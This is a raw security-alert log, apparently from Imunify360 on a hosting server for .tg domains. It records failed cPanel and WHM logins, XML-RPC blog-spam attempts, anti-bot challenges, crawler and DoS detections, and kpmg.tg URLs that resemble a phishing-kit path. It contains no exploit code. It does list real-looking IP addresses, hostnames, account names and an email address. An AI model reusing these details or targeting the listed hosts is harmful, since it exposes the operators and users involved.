205.169.39.13 - - [02/Jul/2026:04:44:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13069251&pdata=http%253A%252F%252Fdgpu8l.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782967462 HTTP/1.1" 302 0 dgpu8l.mediatopnews.tg "http://dgpu8l.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.13


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 146.70.189.222
country_id: 2963597
description:
146.70.189.222 - - [02/Jul/2026:04:45:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10196633&pdata=https%253A%252F%252Fns5.netmaster.tg%253A2083%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782967510 HTTP/2.0" 302 0 ns5.netmaster.tg "https://ns5.netmaster.tg:2083/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.198 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:146.70.189.222


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.70.189.222
country_id: 2963597
description:
[2026-07-02 04:45:15 +0000] info [cpaneld] 146.70.189.222 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.206.137.204
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a240561bfa905b5cceb9377bff773e56416de9bd||Title:teys5k51ceh6l3wbc||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [02/Jul/2026:04:45:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7171016&pdata=https%253A%252F%252Fsthandling-aero.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782967523 HTTP/2.0" 302 0 sthandling-aero.tg "https://sthandling-aero.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36 Edge/12.246" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.206.137.204
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:15d725e1970aea3b060be72d35791ce36f7dda66||Title:i14skfq2cgel2hg||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [02/Jul/2026:04:46:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6973293&pdata=https%253A%252F%252Fsthandling-aero.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782967561 HTTP/2.0" 302 0 sthandling-aero.tg "https://sthandling-aero.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36 Edge/12.246" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.206.137.204
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:57fb1bda2dfbba68225b351ca2234f6e33a64498||Title:zhexkbiw3vbqaywt||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.206.137.204
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bf52f05c233936bd636dc8cb3f91a732335da083||Title:gagbzdugmpzyun67||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [02/Jul/2026:04:48:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10406293&pdata=http%253A%252F%252Fderou.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782967698 HTTP/1.1" 404 561 derou.tg "http://derou.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 205.169.39.7
country_id: 6252001
description:
205.169.39.7 - - [02/Jul/2026:04:48:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10406293%26pdata=http://derou.tg%26id=7fa3b767c460b54a2be4d49030b349c7%26ts=1782967698 HTTP/1.1" 404 561 derou.tg "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.7


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.206.137.204
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e97549c5a030f91e9f0a7eb97240ad68201e0a39||Title:bfbxn5ln65x684exys||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 87.123.247.45
country_id: 2921044
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/wp-content/uploads/2017/12/Rapport_Annuel_2016.pdf HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [02/Jul/2026:04:49:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13026150&pdata=http%253A%252F%252Fdirect7.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782967749 HTTP/1.1" 302 0 direct7.tg "http://direct7.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [02/Jul/2026:04:49:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10012783&pdata=https%253A%252F%252Fdirect7.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782967759 HTTP/2.0" 302 0 direct7.tg "https://direct7.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 3.229.137.167
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.7204.23 Safari/537.36||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 79.127.149.176
country_id: 2328926
description:
[2026-07-02 04:50:28 +0000] info [whostmgrd] 79.127.149.176 - cp909049p23 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [02/Jul/2026:04:50:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6515055&pdata=http%253A%252F%252Fdirect7.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782967799 HTTP/1.1" 302 0 direct7.tg "http://direct7.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [02/Jul/2026:04:50:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12883912&pdata=https%253A%252F%252Fdirect7.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782967807 HTTP/2.0" 302 0 direct7.tg "https://direct7.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.206.137.204
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a86b7281b24e620804df63457732bdc5b6a47f79||Title:dythfh3xzduiydi1p||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.206.137.204
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5820116efd4d96be20fae4a1dcaf73cb9f04a0cb||Title:uapwv4wmxwexad||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.206.137.204
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:cd651a2fac59b34174866c96eedc1a2857d5d314||Title:9twb3nz86q4f8ypm||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.206.137.204
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:66bdc5941c118ba43058588604eff3da7408a5f8||Title:rqwv7j38xmllmxq||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.206.137.204
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:96cd6b45e2cc69e808cb3d1585478cf348c617e9||Title:htbmi4idlff79un||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 202.136.89.235
country_id: 1210997
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/togo-lassemblee-nationale-adopte-le-projet-de-loi-de-finances-exercice-2026/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 194.165.16.162
country_id: 2993457
description:
Jul  2 04:54:13 ns5 pure-ftpd[3107894]: (?@194.165.16.162) [INFO] New connection from 194.165.16.162


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 44.249.131.150
country_id: 6252001
description:
44.249.131.150 - - [02/Jul/2026:04:54:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184604&pdata=https%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252F956caa81b3c8ac8e2112f34b9feb7a31%252F9e748621ef5af3193726f97634097a23%252F1891d514c9aaf242756eccd4b76f285b%252F5c90f2f921bb381fb6596f228113d0c7%252Findex.php%253Fcmd%253Dnewupld&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782968088 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/956caa81b3c8ac8e2112f34b9feb7a31/9e748621ef5af3193726f97634097a23/1891d514c9aaf242756eccd4b76f285b/5c90f2f921bb381fb6596f228113d0c7/index.php?cmd=newupld" "Mozilla/5.0 (Linux; Android 8.0.0; SM-G965U Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.7871.46 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:44.249.131.150


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.206.137.204
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b159fdb6c3706d971a22e52df819041de3c68fc2||Title:ho78v4u5n90m47bkz||RSV:8.22||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 172.83.252.122
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:172.83.252.122||TA:172.83.252.122||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 103.254.153.22
country_id: 1880251
description:
Denial of Service (DoS) attack was discovered from 103.254.153.22: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 44.252.81.193
country_id: 6252001
description:
44.252.81.193 - - [02/Jul/2026:05:00:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7117721&pdata=https%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252F956caa81b3c8ac8e2112f34b9feb7a31%252Fcadfa3ecfb3cf582999aab5e7605639c%252Fb1aa8c55fef5735be643c306a6cd33ae%252F6f56ae2ccdff0dbed024d8ffe0ad255e%252Fd8574f4cd8a5ff9a4c8df1c3a65f526f%252Findex.php%253Fcmd%253Dlogin%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782968404 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/956caa81b3c8ac8e2112f34b9feb7a31/cadfa3ecfb3cf582999aab5e7605639c/b1aa8c55fef5735be643c306a6cd33ae/6f56ae2ccdff0dbed024d8ffe0ad255e/d8574f4cd8a5ff9a4c8df1c3a65f526f/index.php?cmd=login/" "Mozilla/5.0 (Linux; Android 8.0.0; SM-G965U Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.7871.46 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:44.252.81.193


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 65.109.14.150
country_id: 660013
description:
65.109.14.150 - - [02/Jul/2026:05:02:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7302506&pdata=https%253A%252F%252Fbrmn.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782968546 HTTP/2.0" 302 0 brmn.tg "https://brmn.tg/" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0.1 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:65.109.14.150


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.171.190.119
country_id: 1562822
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/banque-mondiale-lecons-du-sahel-et-strategie-togolaise/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.171.190.119
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/banque-mondiale-lecons-du-sahel-et-strategie-togolaise/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 32.186.121.187
country_id: 6252001
description:
32.186.121.187 - - [02/Jul/2026:05:05:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10315410&pdata=https%253A%252F%252Fkpmg.tg%252F71fa419ddb91500bd6c40e52ac0c368c%252F5a62aa212b86bc08a2d77c395174ea68%252F8a5e8e4b08af2effd9daa8105741ce34%252Findex.php%253Fcmd%253Dnewupld%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782968712 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/71fa419ddb91500bd6c40e52ac0c368c/5a62aa212b86bc08a2d77c395174ea68/8a5e8e4b08af2effd9daa8105741ce34/index.php?cmd=newupld/" "Mozilla/5.0 (Linux; Android 8.0.0; SM-G965U Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.7871.46 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:32.186.121.187


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.2
country_id: 6252001
description:
205.169.39.2 - - [02/Jul/2026:05:05:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9986405&pdata=http%253A%252F%252Fderou.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782968745 HTTP/1.1" 302 0 derou.tg "http://derou.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.2


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.70.144.54
country_id: 798544
description:
[2026-07-02 05:09:18 +0000] info [cpaneld] 146.70.144.54 - wifizoneuser "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wifizoneuser (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.2
country_id: 6252001
description:
205.169.39.2 - - [02/Jul/2026:05:12:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184812&pdata=http%253A%252F%252Fl3cgzg.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782969118 HTTP/1.1" 302 0 l3cgzg.mediatopnews.tg "http://l3cgzg.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.2


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [02/Jul/2026:05:12:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6853227&pdata=http%253A%252F%252Fderou.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782969122 HTTP/1.1" 302 0 derou.tg "http://derou.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36 Edge/12.246" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.182.12.208
country_id: 953987
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/commerce-regional-le-poste-frontalier-dakanou-noepe-modernise/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.244.70.224
country_id: 1643084
description:
[2026-07-02 05:13:04 +0000] info [cpaneld] 180.244.70.224 - kwbcfbmo "GET / HTTP/1.1" FAILED LOGIN cpaneld: user name not provided or invalid user


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.186.8.230
country_id: 798544
description:
Jul  2 05:13:36 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.186.8.230 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.182.12.208
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/commerce-regional-le-poste-frontalier-dakanou-noepe-modernise/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.245.123.88
country_id: 3469034
domain: www.perfect-labo.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.perfect-labo.com/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.234.114.101
country_id: 6252001
description:
[2026-07-02 05:15:19 +0000] info [whostmgrd] 23.234.114.101 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.177.114.75
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?feed=rss2&tag=recensement HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-07-02 05:17:49 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:56476: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 31.215.18.61
country_id: 290557
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?feed=rss2&tag=arrec HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.235.37.94
country_id: 3895114
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=2110 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.47.134.100
country_id: 1643084
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?author=1&paged=6 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.145.240.106
country_id: 3686110
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=2229 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.158
country_id: 2750405
description:
2026-07-02 05:21:34 H=([46.151.182.158]) [46.151.182.158]:64130 F=<d.burgher@sbcglobal.net> rejected RCPT <contact@sthandling-aero.tg>: The mail server could not deliver mail to contact@sthandling-aero.tg.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.187.225.252
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=392 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.162.32.7
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1579 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.236.155.74
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=1207 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.33.35.82
country_id: 3437598
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?tag=27 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.142.99.98
country_id: 2400553
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=861 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.58.119.204
country_id: 614540
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1590 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.186.26.138
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?tag=aiec HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.189.157.83
country_id: 337996
domain: www.cfmi.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cfmi.tg/index.php HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.5
country_id: 6252001
description:
205.169.39.5 - - [02/Jul/2026:05:30:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6711708&pdata=http%253A%252F%252Fdirect7.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782970199 HTTP/1.1" 302 0 direct7.tg "http://direct7.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.5


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.248.89.13
country_id: 6252001
description:
[2026-07-02 05:30:39 +0000] info [cpaneld] 73.248.89.13 - pduusmyf "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 194.180.232.25
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:194.180.232.25||TA:194.180.232.25||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.234
country_id: 3469034
description:
Jul  2 05:35:14 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.234 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.178.41
country_id: 1880251
description:
